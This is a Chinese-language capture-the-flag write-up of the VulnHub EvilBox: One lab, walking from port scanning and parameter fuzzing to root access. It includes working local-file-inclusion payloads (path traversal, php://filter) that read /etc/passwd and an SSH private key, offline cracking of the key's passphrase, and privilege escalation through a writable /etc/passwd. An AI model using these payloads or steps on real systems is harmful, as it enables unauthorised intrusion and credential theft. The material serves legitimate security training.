打靶-EVILBOX: ONE
0x00 准备工作
靶机地址: https://www.vulnhub.com/entry/evilbox-one,736/
难度等级: 高
打靶目标: 取得 root 权限
涉及攻击方法:
主机发现
端口扫描
强制方法
参数爆破
文件包含
PHP封装器
任意文件读取
SSH公钥登录
离线密码破解
系统权限漏洞利用
0x01 信息搜集
使用fping -gaq 192.168.92.0/24
发现主机,-g通过指定开始和结束地址来生成目标列表或者一个IP/掩码形式,-a显示可ping通的目标,-q安静模式(不显示每个目标或每个ping的结果)。
然后使用nmap扫描端口,-A综合扫描,发现22和80端口及详细信息。
80端口为Apache默认界面,没有信息。
手动访问robots.txt后发现一个可疑昵称,多次尝试后无果。
使用gobuster dir -u http://192.168.92.130 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
命令爆破目录,发现存在secret目录。
打开后没有任何信息,尝试进一步对secret目录进行爆破,发现evil.php。
然后使用ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://192.168.92.130/secret/evil.php?PARAM=VAL -fs 0
进行参数爆破,-fs 0是忽略空结果。但是没有爆破出任何结果。
下面尝试文件包含漏洞,使用ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.92.130/secret/evil.php?FUZZ=../index.html -fs 0
发现回显有command参数。
尝试访问passwd文件,发现最后存在一个mowree用户。
0x02 flag1
尝试后,发现只存在本地文件包含,使用php://filter封装器来读取源码,构造command=php://filter/convert.base64-encode/resource=evil.php
解码后得到
<?php
$filename = $_GET['command'];
include($filename);
?>
构造command=php://filter/write=convert.base64-decode/resource=test.txt&txt=MTIz
,其中txt=MTIz,MTIz是123使用base64加密后的内容。将此内容写入test.txt。尝试失败,没有写权限。
查看目标靶机支持的ssh认证类型ssh root@192.168.92.130 -v
,-v就是以调试方式查看。可以看到目标系统支持公钥认证和密码认证。
构造command=../../../../../../home/mowree/.ssh
,查看mowree的公钥。
查看私钥,构造command=../../../../../../../../../home/mowree/.ssh/id_rsa
把内容复制到本地,再通过chmod 600 id_rsa
使权限没那么松散。最后使用ssh mowree@192.168.92.130 -i id_rsa
密钥登录,结果需要私钥的密码。
使用python2 /usr/share/john/ssh2john.py ~/id_rsa > ~/hash
命令,将id_rsa转换成john能识别的hash格式。
将超级大字典rockyou复制过来,cp /usr/share/wordlists/rockyou.txt .
,然后开始爆破john hash --wordlist=rockyou.txt
,成功爆破出密码为unicorn
成功登录
查看flag1
0x03 flag2
fifind / -writable 2>/dev/null|grep -v 'proc|run|sys'
,查看可写权限的文件,发现了etc/passwd
文件。
可以通过直接修改root用户名的密码了,使用openssl passwd -1
命令,使用openssl加密算法来加密,输入的内容。
输入密码为han,返回了加密后的内容为$1$JPKeenWm$HWPSn4QyyNd4vj8Kn4uTT.
修改/etc/passwd。
然后切换到root用户。